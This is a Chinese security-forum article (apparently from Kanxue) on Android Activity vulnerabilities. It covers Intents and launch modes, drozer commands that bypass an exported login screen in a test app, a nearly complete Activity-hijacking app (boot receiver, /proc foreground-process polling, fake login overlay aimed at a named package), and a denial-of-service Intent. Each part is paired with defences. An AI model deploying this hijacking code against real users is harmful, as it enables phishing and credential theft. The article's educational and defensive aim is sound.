本文為看雪論壇精華文章
看雪論壇作者ID:隨風而行aa
Intent是各個組件之間交互的一種重要方式,它不僅可以指明當前組件想要執行的動作,而且還能在各組件之間傳遞數據。Intent一般可用於啟動Activity、啟動Service、發送廣播等場景。Intent有多個構造函數的重載,Intent(Context packageContext,Class<?> cls)我們構建好一個Intent對象後,只需要使用 startActivity(Intent)來啟動就可以了Intent一般分為顯式Intent和隱私Intent:Intent intent = new Intent(MainActivity.class,SecondActivity.class); //實例化Intent對象intent.putExtra("et1",et1Str); //使用putExtra傳遞參數,參數1:鍵名 參數2:鍵對應的值 我們可以使用intent.getStringExtra("et1")獲取傳遞的參數startActivity(intent); //啟動Intent,完成從MainActivity類跳轉到SecondActivity類隱式Intent並不指明啟動那個Activity而是指定一系列的action和category,然後由系統去分析找到合適的Activity並打開,action和category一般在AndroidManifest中指定。<activity android:name=".SecondActivity"> <intent-filter> <action android:name="com.example.test.ACTION_START" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> </activity>只有<action>和<category>中的內容能夠匹配上Intent中指定的action和category時,這個活動才能響應Intent。Intent intent = Intent("com.example.test.ACTION_START");startActivity(intent);我們這裡只傳入了ACTION_START,這是因為android.intent.category.DEFAULT是一種默認的category,在調用startActivity()時會自動將這個category添加到Intent中,注意:Intent中只能添加一個action,但是可以添加多個category。對於含多個category情況,我們可以使用addCategory()方法來添加一個category。intent.addCategory("com.example.test.MY_CATEGORY");Intent intent = new Intent(Intent.ACTION_VIEW);intent.setData(Uri.parse("https://www.baidu.com"));startActivity(intent);Intent.ACTION_VIEW是系統內置的動作,然後將https://www.baidu.com通過Uri.parse()轉換成Uri對象,傳遞給intent.setData(Uri uri)函數。與此對應,我們在<intent-filter>中配置<data>標籤,用於更加精確指定當前活動能夠響應什麼類型的數據:android:scheme:用於指定數據的協議部分,如httpsandroid:host:用於指定數據的主機名部分,如www.baidu.comandroid:port:用於指定數據的埠,一般緊隨主機名後android:path:用於指定數據的路徑android:mimeType:用於指定支持的數據類型只有當<data>標籤中指定的內容和Intent中攜帶的data完全一致時,當前Activity才能響應該Intent。下面我們通過設置data,讓它也能響應打開網頁的Intent。<activity android:name=".SecondActivity"> <intent-filter> <action android:name="com.example.test.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <data android:scheme="http"> </intent-filter> </activity>我們就能通過隱式Intent的方法打開外部Activity。Intent intent = new Intent(Intent.ACTION_VIEW);intent.setData(Uri.parse("https://www.baidu.com"));startActivity(intent);
(2)Activity中傳遞數據Intent intent = new Intent(MainActivity.class,SecondActivity.class);intent.putExtra("et1",et1Str);startActivity(intent);Intent intent = getIntent();String data = intent.getStringExtra("et1");Android 在返回一個活動可以通過Back鍵,也可以使用startActivityForResult()方法來啟動活動,該方法在活動銷毀時能返回一個結果給上一個活動。Intent intent = new Intent(MainActivity.class,SecondActivity.class);startActivityForResult(intent,1); //參數1:Intent 參數2:請求碼,用於之後回調中判斷數據來源Intent intent = new Intent();intent.putExtra("data",data);setResult(RESULT_OK,intent); finish(); 當活動銷毀後,就會回調到上一個活動,所以我們需要在MainActivity中接收。@Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); switch (requestCode){ case 1: if(requestCode == RESULT_OK){ String returnData =data.getStringExtra("data"); } break; default: } }如果我們要實現Back返回MainActivity,我們需要在SecondActivity中重寫onBackPressed()方法。@Override public void onBackPressed() { super.onBackPressed(); Intent intent = new Intent(); intent.putExtra("data","data"); setResult(RESULT_OK,intent); finish(); }
(3)Activity的生命周期Activity類中定義了7個回調方法,覆蓋了Activity聲明周期的每一個環節:onCreate():在Activity第一次創建時調用onStart():在Activity可見但是沒有焦點時調用onResume():在Activity可見並且有焦點時調用onPause():這個方法會在準備啟動或者恢復另一個Activity時調用,我們通常在該方法中釋放消耗CPU的資源或者保存數據,但在該方法內不能做耗時操作,否則影響另一個另一個Activity的啟動或恢復。onStop():在Activity不可見時調用,它和onPause主要區別就是:onPause在失去焦點時會調用但是依然可見,而onStop是完全不可見。onDestory():在Activity被銷毀前調用onRestart():在Activity由不在棧頂到再次回到棧頂並且可見時調用。我們可以將活動分為3中生存期: (1)完整生存期:活動在onCreate()和onDestroy()方法之間所經歷的,從開始初始化到完成釋放內存 (2)可見生存期:活動在onStart()和onStop()方法之間所經歷的,主要包括資源的加載和資源的釋放 (3)前臺生存期:活動在onResume()方法和onPause()方法之間所經歷的,主要是Activity的運行
(4)Activity的啟動模式我們這裡之所以要介紹Activity的啟動模式,是因為Activity界面劫持就是根據Activity的運行特點所實現的。Activity一共有四種啟動模式:standard模式、singleTop模式、singleTask模式、singleInstance模式。下面我們簡單介紹一下:如果不顯示指定啟動模式,那麼Activity的啟動模式就是standard,在該模式下不管Activity棧中有無Activity,均會創建一個新的Activity併入棧,並處於棧頂的位置。(1)啟動一個Activity,這個Activity位於棧頂,則不會重新創建Activity,而直接使用,此時也不會調用Activity的onCreate(),因為並沒有重新創建Activity Activity生命周期: onPause>onNewIntent->onResume 這個過程中調用了 onNewIntent(intent: Intent?),我們可以在該函數中通過Intent獲取新傳遞過來的數據,因為此時數據可能已經發生變化 (2) 要啟動的Activity不在棧頂,那麼啟動該Activity就會重新創建一個新的Activity併入棧,此時棧中就有2個Activity的實例了如果準備啟動的ActivityA的啟動模式為singleTask的話,那麼會先從棧中查找是否存在ActivityA的實例:場景一、如果存在則將ActivityA之上的Activity都出棧,並調用ActivityA的onNewIntent() ActivityA啟動ActivityB,然後啟動ActivityA,此時生命周期過程: ActivityB onPause>ActivityA(onRestart--->onStart--->onNewIntent--->onResume)---->ActivityB(onStop--->onDestroy) 場景二、如果ActivityA位於棧頂,則直接使用並調用onNewInent(),此時和singleTop一樣 ActivityA啟動ActivityA,此時生命周期過程: ActivityA(onPause--->onNewIntent--->onResume) 場景三、 如果棧中不存在ActivityA的實例則會創建一個新的Activity併入棧。 ActivityA啟動ActivityB,此時生命周期過程: ActivityA(onCreate--->onStart--->onResume)指定singleInstance模式的Activity會啟動一個新的返回棧來管理這個Activity(其實如果singleTask模式指定了不同的taskAffinity,也會啟動一個新的返回棧我們可以通過這種模式去實現其他程序和我們程序能共享這個Activity實例,在這種模式下,會有一個單獨的返回棧來管理這個Activity,無論哪個應用程式來訪問這個Activity,都在同一個返回棧中,也就解決了共享Activity實例的問題
2.Activity 漏洞種類和危害我們在上文中詳細介紹了Activity的運行原理,接下來我們了解一些Activity的漏洞種類和應用的安全場景。(1)Activity的漏洞種類(2)Activity安全場景和危害Activity的組件導出,一般會導致的問題:Android Browser Intent Scheme URLs的攻擊手段(1)拒絕服務攻擊:通過Intent給Activity傳輸畸形數據使得程序崩潰從而影響用戶體驗(2)越權攻擊:Activity用戶界面繞過會造成用戶信息竊取、Activity界面被劫持產生欺詐等安全事件(3)組件導出導致釣魚欺詐(4)隱式啟動intent包含敏感數據
1、越權繞過(1)原理介紹在Android系統中,Activity默認是不導出的,如果設置了exported = "true" 這樣的關鍵值或者是添加了<intent-filter>這樣的屬性,那麼此時Activity是導出的,就會導致越權繞過或者是洩露敏感信息等安全風險。例如:(1)一些敏感的界面需要用戶輸入密碼才能查看,如果沒有對調用此Activity的組件進行權限驗證,就會造成驗證的越權問題,導致攻擊者不需要密碼就可以打開(2)通過Intent給Activity傳輸畸形數據使得程序崩潰拒絕服務(3)對Activity界面進行劫持
(2)漏洞復現首先,我們需要配置drozer的基本環境,具體配置操作,參考:Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF(https://bbs.pediy.com/thread-269196.htm)adb forward tcp:31415 tcp:31415drozer console connect我們嘗試使用drozer去越權繞過該界面,首先,我們先列出程序中所有的APP 包:我們通過查詢欄位,可以快速定位到sieve的包名。run app.package.attacksurface com.mwr.example.sieve我們可以看出,有三個activity是被導出的,我們再具體查詢暴露activity的信息。run app.activity.info -a com.mwr.example.sieve說明我們可以通過強制跳轉其他兩個界面,來實現越權繞過。run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList(3)防護策略防護策略:(1)私有Activity不應被其他應用啟動相對是安全的,創建activity時:設置exported屬性為false(2)公開暴露的Activity組件,可以被任意應用啟動,創建Activity:設置export屬性為true,謹慎處理接收的Intent,有返回數據不包含敏感信息,不應發送敏感信息,收到返回數據謹慎處理
2、釣魚欺詐/Activity劫持
(1)原理介紹原理介紹:(1)Android APP中不同界面的切換通過Activity的調度來實現,而Acticity的調度是由Android系統中的AMS來實現。每個應用想啟動或停止一個進程,都報告給AMS,AMS收到啟動或停止Activity的消息時,先更新內部記錄,再通知相應的進程或停止指定的Activity。當新的Activity啟動,前一個Activity就會停止,這些Activity會保留在系統中的一個Activity歷史棧中。每有一個Activity啟動,它就壓入歷史棧頂,並在手機上顯示。當用戶按下back,頂部的Activity彈出,恢復前一個Activity,棧頂指向當前的Activity。(2)由於Activity的這種特性,如果在啟動一個Activity時,給它加入一個標誌位FLAGACTIVITYNEW_TASK,就能使它置於棧頂並立馬呈現給用戶,如果這個Activity是用於盜號的偽裝Activity,就會產生釣魚安全事件或者一個Activity中有webview加載,允許加載任意網頁都有可能產生釣魚事件。 實現原理:如果我們註冊一個receiver,響應android.intent.action.BOOT_COMPLETED,使得開啟啟動一個service;這個service,會啟動一個計時器,不停枚舉當前進程中是否有預設的進程啟動,如果發現有預設進程,則使用FLAG_ACTIVITY_NEW_TASK啟動自己的釣魚界面,截獲正常應用的登錄憑證 實現步驟:(1)啟動一個服務(2)不斷掃描當前進程(3)找到目標後彈出偽裝窗口(2)漏洞復現在進行Android 界面劫持過程中,我發現根據Android版本的變化情況,目前不同Android版本實現的功能代碼有一定的差異性,再經過多次的學習和總結後,我復現而且改進了針對Android 6.0界面劫持的功能代碼,並對不同版本的頁面劫持做了一個初步的總結,下面是具體實驗的詳細過程:首先我們新建一個服務類HijackingService.class,然後在MainActivity裡面啟動這個服務類:public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent intent2 = new Intent(this,HijackingService.class); startService(intent2); Log.w("hijacking","activity啟動用來劫持的Service"); }}我們可以看到程序一旦啟動,就會啟動HijackingService.class。然後我們編寫一個HijackingApplication類,主要負責添加劫持類別,清除劫持類別,判斷是否已經劫持。public class HijackingApplication{ private static List<String> hijackings = new ArrayList(); public static void addProgressHijacked(String paramString){ hijackings.add(paramString); } public static void clearProgressHijacked(){ hijackings.clear(); } public static boolean hasProgressBeHijacked(String paramString){ return hijackings.contains(paramString); } }說明:這個類的主要功能是,保存已經劫持過的包名,防止我們多次劫持增加暴露風險。public class HijackingReciver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { if(intent.getAction().equals("android.intent.action.BOOT_COMPLETED")){ Log.w("hijacking","開機啟動"); Intent intent2 = new Intent(context,HijackingService.class); context.startService(intent2); Log.w("hijacking","啟動用來劫持的Service"); } }}然後我們編寫劫持類 HijackingService.class。private boolean hasStart = false; private boolean isStart; HashMap<String, Class<?>> map = new HashMap<String, Class<?>>(); Handler handler = new Handler(); Runnable mTask = new Runnable() { @Override public void run() { Log.w("TAG","ABC"); int i =1; List<AndroidAppProcess> Processes = AndroidProcesses.getRunningAppProcesses(); Log.w("hijacking", "=================正在枚舉進程======================="); for( AndroidAppProcess appProcessInfo: Processes){ Log.w("TAG",appProcessInfo.name); String ProcessesRunning = ForegroundProcess.getForegroundApp(); Log.w("TAG============",ProcessesRunning); if(map.containsKey(ProcessesRunning)) { if (map.containsKey(appProcessInfo.name)) { Log.w("準備劫持", appProcessInfo.name); hijacking(appProcessInfo.name); } else { } } } handler.postDelayed(mTask,8000); } private void hijacking(String progressName){ if(!HijackingApplicaiton.hasProgressBeHijacked(progressName)){ Intent localIntent = new Intent(HijackingService.this.getBaseContext(),HijackingService.this.map.get(progressName)); localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); HijackingService.this.getApplication().startActivity(localIntent); HijackingApplicaiton.addProgressHijacked(progressName); Log.w("TAG====hijacking","已經劫持成功"); } } }; @Override public void onCreate() { super.onCreate(); if(!isStart){ map.put("com.cz.babySister",SecondActivity.class); this.handler.postDelayed(this.mTask, 1000); isStart = true; } } @Override public IBinder onBind(Intent intent) { throw new UnsupportedOperationException("Not yet implemented"); } @Override public boolean stopService(Intent name){ hasStart = false; Log.w("TAG====hijacking","劫持服務停止"); HijackingApplicaiton.clearProgressHijacked(); return super.stopService(name); }我們編寫劫持類中,最關鍵的就是如何獲取當前的前臺進程和遍歷正在運行的進程,這也是Android版本更新後,導致不同版本劫持差異的主要原因,對這裡我做了一個初步的總結:注意: (1)我們實現界面劫持,主要是根據Android Activity設計的漏洞,而這就會涉及對ActivityManager的掌握 網址:https: (2)Android 獲取當前的Activity,因為Android版本不同而具備一定差異性 1)Android 5.0之前可以使用getRunningTasks,該方法可以獲得在前臺運行的系統進程 2)Android 5.0-6.0 getRunningTasks失效,可以使用getRunningAppProcesses方法暫時替代 3)Android 6.0以上 getRunningAppProcess也失效了,系統關閉了三方軟體對系統進程的訪問 目前的方法: 1.使用國外大佬的代碼 AndroidProcesses 參考網址:https: https: https: 2.使用第三方開源庫:libsuperuser 使用文章:https: 開源網址:https: 第三種方法主要是利用Google 應用程式可以訪問 /proc/ https: 4)我們發現使用這兩種方法都只能列出進程列表,並不能獲取正在運行的進程,我們需要進一步過濾 參考網址:https: https: 如何判斷Android包名獲取進程是否存活:https: 如何查看前臺進程的六種方法:https:public class ForegroundProcess { public static final int AID_APP = 10000; public static final int AID_USER = 100000; public static String getForegroundApp() { File[] files = new File("/proc").listFiles(); int lowestOomScore = Integer.MAX_VALUE; String foregroundProcess = null; for (File file : files) { if (!file.isDirectory()) { continue; } int pid; try { pid = Integer.parseInt(file.getName()); } catch (NumberFormatException e) { continue; } try { String cgroup = read(String.format("/proc/%d/cgroup", pid)); String[] lines = cgroup.split("\n"); String cpuSubsystem; String cpuaccctSubsystem; if (lines.length == 2) { cpuSubsystem = lines[0]; cpuaccctSubsystem = lines[1]; } else if (lines.length == 3) { cpuSubsystem = lines[0]; cpuaccctSubsystem = lines[2]; } else { continue; } if (!cpuaccctSubsystem.endsWith(Integer.toString(pid))) { continue; } if (cpuSubsystem.endsWith("bg_non_interactive")) { continue; } String cmdline = read(String.format("/proc/%d/cmdline", pid)); if (cmdline.contains("com.android.systemui")) { continue; } int uid = Integer.parseInt(cpuaccctSubsystem.split(":")[2] .split("/")[1].replace("uid_", "")); if (uid >= 1000 && uid <= 1038) { continue; } int appId = uid - AID_APP; int userId = 0; while (appId > AID_USER) { appId -= AID_USER; userId++; } if (appId < 0) { continue; } File oomScoreAdj = new File(String.format( "/proc/%d/oom_score_adj", pid)); if (oomScoreAdj.canRead()) { int oomAdj = Integer.parseInt(read(oomScoreAdj .getAbsolutePath())); if (oomAdj != 0) { continue; } } int oomscore = Integer.parseInt(read(String.format( "/proc/%d/oom_score", pid))); if (oomscore < lowestOomScore) { lowestOomScore = oomscore; foregroundProcess = cmdline; } } catch (IOException e) { e.printStackTrace(); } } return foregroundProcess; } private static String read(String path) throws IOException { StringBuilder output = new StringBuilder(); BufferedReader reader = new BufferedReader(new FileReader(path)); output.append(reader.readLine()); for (String line = reader.readLine(); line != null; line = reader .readLine()) { output.append('\n').append(line); } reader.close(); return output.toString().trim(); } }public class SecondActivity extends AppCompatActivity { private static Boolean flag ; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_second); Log.w("TAGSecod","切換"); EditText name = findViewById(R.id.editTextTextPersonName); EditText passward = findViewById(R.id.editTextTextPassword); Button button = findViewById(R.id.button); button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Log.w("TAG", "成功劫持進入該界面"); flag =false; } }); }}<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.activityhajacker"> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.ActivityHajacker"> <activity android:name=".SecondActivity"></activity> <service android:name=".HijackingService" android:enabled="true" android:exported="true" /> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name=".HijackingReciver" android:enabled="true"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> </application> </manifest>我們需要將服務的時間設置成6秒,避免程序界面還未加載就劫持了。等待5秒,然後劫持成功,這個時間我們可以在代碼段調整:這樣我們成功完成了對目標程序劫持,這裡我只編寫了一個簡易的界面,大家可以編寫更加複雜的界面,這主要是針對Android 6.0平臺的劫持,各位也可以試試其他版本的平臺。(3)安全防護如果真的爆發了這種惡意程序,我們並不能在啟動程序時每一次都那麼小心去查看判斷當前在運行的是哪一個程序,當android:noHistory="true"時上面的方法也無效目前,對activity劫持的防護,只能是適當給用戶警示信息。一些簡單的防護手段就是顯示當前運行的進程提示框。梆梆加固則是在進程切換的時候給出提示,並使用白名單過濾。參考網址:https://blog.csdn.net/ruingman/article/details/51146152 http://blog.chinaunix.net/uid-16728139-id-4962659.html https://blog.csdn.net/u012195899/article/details/70172241?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-9.essearch_pc_relevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-9.essearch_pc_relevant
3、隱私啟動Intent包含敏感數據
(1)原理介紹1.背景知識:Intent可分為隱私(implicitly)和顯式(explicitly)兩種(1)顯式Intent:即在構造Intent對象時就指定接收者,它一般用在知道目標組件名稱的前提下, 一般是在相同的應用程式內部實現的,如下: Intent intent = new Intent(MainActivit.this, NewActivity.class); startActivity(intent);(2)隱式Intent:即Intent的發送者在構造Intent對象時,並不知道也不關心接收者是誰,有利於降低發送者和接收者之間的耦合,它一般用在沒有明確指出目標組件名稱的1前提下,一般是用於不同應用程式之間,如下: Intent intent = new Intent(); intent.setAction("com.wooyun.test"); startActivity(intent);對於顯式Intent,Android不需要去做解析,因為目標組件已經很明確,Android需要解析的是那些隱式Intent,通過解析,將Intent映射給可以處理此Intent的Activity,IntentReceiver或Service我們有一個應用A,採用Intent隱式傳遞,它的動作是"X",此時還有一個應用B,動作也是X,我們在啟動的時候,通過Intent隱式傳遞,就會同時彈出兩個界面,我們就不知道到底啟動A還是B因為現在這種漏洞在Android版本更新後,基本很少出現了,所以這裡就不做復現和安全防護了。4、拒絕服務攻擊(1)原理介紹原理介紹: Android提供Intent機制來協助應用間的交互和通訊,通過Intent實現對應用中一次操作的動作、動作涉及數據、附加數據進行描述,Android通過Intent的描述,負責找到對應組件,完成調用。 拒絕服務攻擊源於程序沒有對Intent。getXXXExtra()獲取的異常或者畸形數據處理時沒有進行異常捕獲,從而導致攻擊者向應用發送此類空數據、異常或者畸形數據來達到致使該應用crash的目的,我們可以通過intent發送空數據、異常或畸形數據給正常應用,導致其崩潰。本地拒絕服務可以被競爭方利用來攻擊,使得自己的應用崩潰,造成破壞。 危害:拒絕服務漏洞對於鎖屏應用、安全防護類軟體危害是巨大的
提到拒絕服務攻擊,我們就不得不講一下Android外部程序的調用方法:總結: 1.使用自定義Action A程序中調用的代碼為: Intent intent = new Intent(); intent.setAction("com.test.action.PLAYER"); startActivity(intent); B程序中的AndroidManifest.xml中啟動Activity的intent-filter <intent-filter> <action android:name="android.intent.action.MAIN" /> <action android:name="com.test.action.PLAYER" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> 2.使用包類名 A程序中調用的代碼為: Intent intent = new Intent(); intent.setClassName("com.test", "com.test.Player");//目標程序包名、主進程名 startActivity(intent); intent.setClassName(arg1,arg2)中arg1是被調用程序B的包名,arg2是B程序中目的activity的完整類名 或者使用ComponentName Intent intent = new Intent(); ComponentName comp = new ComponentName("com.test", "com.test.Player" ); //目標程序包名、主進程名 intent.setComponent(comp); startActivity(intent); B程序被調用中AndroidManifest.xml中啟動Activity的intent-filter不需要特別加入其它信息,如下即可: <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter>
(2)漏洞復現我們查看一個目標應用的AndroidManifest.xml文件:<activity android:label="@string/app_name" android:name=".MainLoginActivity" android:excludeFromRecents="true" android:launchMode="singleTask" android:windowSoftInputMode="adjustUnspecified|stateVisible|adjustResize"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter></activity>我們編寫一個簡易的APP程序,對目標程序進行拒絕服務攻擊。Intent intent = new Intent();ComponentName comp = new ComponentName("com.mwr.example.sieve","com.mwr.example.sieve.MainLoginActivity");intent.putExtra("", "");intent.setComponent(comp);startActivity(intent);當然我們還可以使用我們的神器drozer來進行攻擊。參考網址:http://rui0.cn/archives/30
參考網址https://blog.csdn.net/myboyer/article/details/44940811utm_term=Activity%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1&utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-44940811&spm=3001.4430
(3)安全防護安全防護: (1)空指針異常、類型轉換異常、數組越界訪問異常、類未定義異常、其它異常 (2)謹慎處理接收的intent以及其攜帶的信息,對接收到的任何數據做try/catch處理,以及對不符合預期數據做異常處理總結:1.不需要被外部調用的activity設置android:exported="false"; 2.若需要外部調用,需自定義signature或者signatureOrSystem級別的權限; 3.註冊的組件請嚴格校驗輸入參數,注意空值判定和類型轉換判斷
寫到這裡,這個帖子總算寫完了,對Android的Activity漏洞挖掘的總結過程中,我又再一次將Android 的Activity組件運行的基本原理熟悉了一遍,學習就是不斷的總結提高把,可能在編寫的過程中,還存在很多不足地方,就請各位大佬指教了。參考網址:Android 第一行代碼https://www.jianshu.com/p/b999119d2752https://blog.csdn.net/zhangxunxyy/article/details/80805394https://github.com/jaredrummler/AndroidProcesseshttps://jaredrummler.com/2017/09/13/android-processes/https://www.itranslater.com/qa/details/2325835735628252160https://blog.csdn.net/daydayplayphone/article/details/52236148https://github.com/Chainfire/libsuperuserhttps://blog.csdn.net/brycegao321/article/details/76966424https://blog.csdn.net/dq1005/article/details/51453121https://www.jianshu.com/p/f3aea648dfbbhttps://blog.csdn.net/weixin_39352694/article/details/83620517https://github.com/wenmingvs/AndroidProcesshttps://blog.csdn.net/ruingman/article/details/51146152http://blog.chinaunix.net/uid-16728139-id-4962659.html http://rui0.cn/archives/30看雪ID:隨風而行aa
https://bbs.pediy.com/user-home-905443.htm
*本文由看雪論壇 隨風而行aa 原創,轉載請註明來自看雪社區